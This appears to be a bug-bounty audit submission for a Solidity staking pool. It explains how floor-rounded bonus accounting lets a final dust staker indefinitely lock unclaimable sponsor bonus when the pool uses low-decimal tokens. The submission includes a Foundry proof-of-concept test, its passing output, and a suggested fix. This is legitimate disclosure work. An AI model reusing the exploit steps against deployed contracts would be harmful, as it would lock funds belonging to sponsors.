FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: medium
Likelihood: medium

Low-decimal reserve overstatement lets a dust staker indefinitely pin most of the sponsor bonus

Author Revealed upon completion

Root + Impact

Description

Normally, every SURVIVED or EXPIRED staker receives principal plus their individually rounded k=2 bonus share. sweepUnclaimedBonus() is documented as a repeat-callable cleanup path that transfers any balance above the remaining stakers' actual entitlement reserve, including k=2 rounding dust, to recoveryAddress.

The reserve does not represent those actual future entitlements. Each claim rounds the user's bonus down and adds only the paid value to claimedBonus, while sweepUnclaimedBonus() reserves the entire global remainder snapshotTotalBonus - claimedBonus whenever even one staker remains. A final staker whose future bonus is zero can therefore keep all accumulated rounding remainder reserved indefinitely by not claiming.

For an equal-score cohort of N stakers sharing bonus B, every user receives floor(B / N). After N - 1 claims, the last user's actual bonus is still floor(B / N), but the contract reserves B - (N - 1) * floor(B / N). When B < N, every bonus share is zero and one final non-claimer pins the full bonus even though they can never receive any of it.

function claimSurvived() external nonReentrant {
// ...
uint256 bonusShare = _bonusShare(msg.sender, userEligible); // floors per user
uint256 payout = userEligible + bonusShare;
totalEligibleStake -= userEligible;
claimedBonus += bonusShare; // @> only the rounded amount paid is removed
// ...
}
function sweepUnclaimedBonus() external nonReentrant {
// ...
uint256 reserved;
if (totalEligibleStake != 0) {
reserved = totalEligibleStake;
if (riskWindowStart != 0) {
reserved += snapshotTotalBonus - claimedBonus;
// @> gross global remainder is treated as owed to the remaining users
}
}
uint256 freeBalance = stakeToken.balanceOf(address(this));
uint256 amount = freeBalance > reserved ? freeBalance - reserved : 0;
if (amount == 0) revert NothingToSweep();
// ...
}

Risk

Likelihood: Medium

  • This occurs when the factory allowlists a standard low-decimal ERC20 and per-user bonus shares round down materially. The official compatibility section excludes fee-on-transfer and rebasing tokens but defines no minimum decimals.

  • A staker can trigger the indefinite phase by remaining as the final non-claimer. Survivor and expired bonus claims have no deadline. With an existing claimant cohort, the attacker needs one minimum stake and no privileged role, callback, timing race, or post-resolution transaction.

  • Likelihood is not High because no deployed allowlisted low-decimal token was identified, and manufacturing the claimant cohort requires additional positions, temporary principal, and transaction costs.

Impact: Medium

  • Sponsor/recovery-side bonus that no remaining staker can claim stays locked for an unbounded period, while the documented dust cleanup path reverts with NothingToSweep. The canonical PoC pins all 9 bonus units behind a 1-unit final position; the 100-staker variant pins 99 units.

  • Impact is not High because the attacker receives no direct profit and no staker principal is stolen or frozen. Materiality depends on token granularity and claimant count because aggregate floor-rounding residue is less than the number of claimants in raw token units.

Proof of Concept

Add the following test as test/poc/CodexGpt5_20260710_CanonicalFactoryLowDecimalReservePin.t.sol and run:

forge test --match-path test/poc/CodexGpt5_20260710_CanonicalFactoryLowDecimalReservePin.t.sol -vv
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {ConfidencePoolFactory} from "src/ConfidencePoolFactory.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {MockAgreement} from "test/mocks/MockAgreement.sol";
import {MockAttackRegistry} from "test/mocks/MockAttackRegistry.sol";
import {MockSafeHarborRegistry} from "test/mocks/MockSafeHarborRegistry.sol";
contract CodexGpt5_20260710_ZeroDecimalStandardToken is ERC20 {
constructor() ERC20("Zero Decimal Standard Token", "ZDST") {}
function decimals() public pure override returns (uint8) {
return 0;
}
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
}
contract CodexGpt5_20260710_CanonicalFactoryLowDecimalReservePinTest is Test {
uint256 internal constant BASE_TIMESTAMP = 1_750_000_000;
uint256 internal constant STAKER_COUNT = 10;
address internal constant SCOPE_ACCOUNT = address(0xC0FFEE);
address internal moderator = makeAddr("outcome-moderator");
address internal recovery = makeAddr("recovery");
CodexGpt5_20260710_ZeroDecimalStandardToken internal token;
MockAttackRegistry internal attackRegistry;
ConfidencePoolFactory internal factory;
ConfidencePool internal pool;
function setUp() public {
vm.warp(BASE_TIMESTAMP);
token = new CodexGpt5_20260710_ZeroDecimalStandardToken();
attackRegistry = new MockAttackRegistry();
MockSafeHarborRegistry safeHarborRegistry = new MockSafeHarborRegistry();
MockAgreement agreement = new MockAgreement(address(this));
agreement.setContractInScope(SCOPE_ACCOUNT, true);
safeHarborRegistry.setAttackRegistry(address(attackRegistry));
safeHarborRegistry.setAgreementValid(address(agreement), true);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.NEW_DEPLOYMENT);
ConfidencePool implementation = new ConfidencePool();
ConfidencePoolFactory factoryImplementation = new ConfidencePoolFactory();
factory = ConfidencePoolFactory(
address(
new ERC1967Proxy(
address(factoryImplementation),
abi.encodeCall(
ConfidencePoolFactory.initialize,
(address(safeHarborRegistry), address(implementation), moderator)
)
)
)
);
// The only token customization is ERC20 metadata; transfer accounting remains standard.
assertEq(token.decimals(), 0);
factory.setStakeTokenAllowed(address(token), true);
assertTrue(factory.allowedStakeToken(address(token)));
address[] memory scope = new address[](1);
scope[0] = SCOPE_ACCOUNT;
pool = ConfidencePool(
factory.createPool(address(agreement), address(token), block.timestamp + 31 days, 1, recovery, scope)
);
}
function testCanonicalFactoryDustStakerPinsBonusTheyCanNeverClaim() external {
address[] memory stakers = new address[](STAKER_COUNT);
for (uint256 i; i < STAKER_COUNT; ++i) {
stakers[i] = address(uint160(100_000 + i));
_stake(stakers[i], 1);
}
token.mint(address(this), 9);
token.approve(address(pool), 9);
pool.contributeBonus(9);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
vm.warp(block.timestamp + 1 days);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
// Nine honest stakers exit. floor(9 / 10) is zero, so none receives bonus.
for (uint256 i; i < STAKER_COUNT - 1; ++i) {
uint256 balanceBefore = token.balanceOf(stakers[i]);
vm.prank(stakers[i]);
pool.claimSurvived();
assertEq(token.balanceOf(stakers[i]) - balanceBefore, 1);
}
address dustStaker = stakers[STAKER_COUNT - 1];
assertEq(pool.totalEligibleStake(), 1);
assertEq(pool.eligibleStake(dustStaker), 1);
assertEq(pool.snapshotTotalBonus(), 9);
assertEq(pool.claimedBonus(), 0);
assertEq(token.balanceOf(address(pool)), 10);
// The reserve treats all 9 bonus units as owed to a user whose eventual bonus is zero.
vm.expectRevert(IConfidencePool.NothingToSweep.selector);
pool.sweepUnclaimedBonus();
uint256 dustStakerBefore = token.balanceOf(dustStaker);
vm.prank(dustStaker);
pool.claimSurvived();
assertEq(token.balanceOf(dustStaker) - dustStakerBefore, 1, "dust staker receives principal only");
uint256 recoveryBefore = token.balanceOf(recovery);
pool.sweepUnclaimedBonus();
assertEq(token.balanceOf(recovery) - recoveryBefore, 9, "all pinned bonus becomes sweepable");
assertEq(token.balanceOf(address(pool)), 0);
}
function _stake(address user, uint256 amount) internal {
token.mint(user, amount);
vm.startPrank(user);
token.approve(address(pool), amount);
pool.stake(amount);
vm.stopPrank();
}
}

Runtime output:

[PASS] testCanonicalFactoryDustStakerPinsBonusTheyCanNeverClaim() (gas: 1911700)
Suite result: ok. 1 passed; 0 failed; 0 skipped

The same root cause also reproduces through the permissionless EXPIRED resolution path. The full local suite after adding the canonical PoC completed with 284 passed, 0 failed, and 3 RPC-dependent fork skips.

Recommended Mitigation

Track a safe upper bound on the bonus weight still attributable to unclaimed users instead of treating every unpaid raw bonus unit as claimable. For the normal score path, the sum of remaining individual floor-rounded payouts is no greater than floor(snapshotTotalBonus * remainingScore / snapshotGlobalScore). Use the equivalent remaining-stake bound for the amount-weighted fallback.

uint256 public claimedBonus;
+ uint256 public remainingBonusWeight;
function claimSurvived() external nonReentrant {
+ uint256 userWeight = _bonusWeight(msg.sender, userEligible);
uint256 bonusShare = _bonusShare(msg.sender, userEligible);
claimedBonus += bonusShare;
+ remainingBonusWeight -= userWeight;
}
function sweepUnclaimedBonus() external nonReentrant {
reserved = totalEligibleStake;
if (riskWindowStart != 0) {
- reserved += snapshotTotalBonus - claimedBonus;
+ reserved += _remainingBonusReserveUpperBound();
}
}

Alternatively, introduce a bounded bonus-claim deadline after which unclaimed positions retain principal but forfeit bonus, and make both claim and sweep logic enforce the same deadline. Enforcing and documenting a minimum token-decimals policy reduces materiality but does not correct the accounting mismatch by itself.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!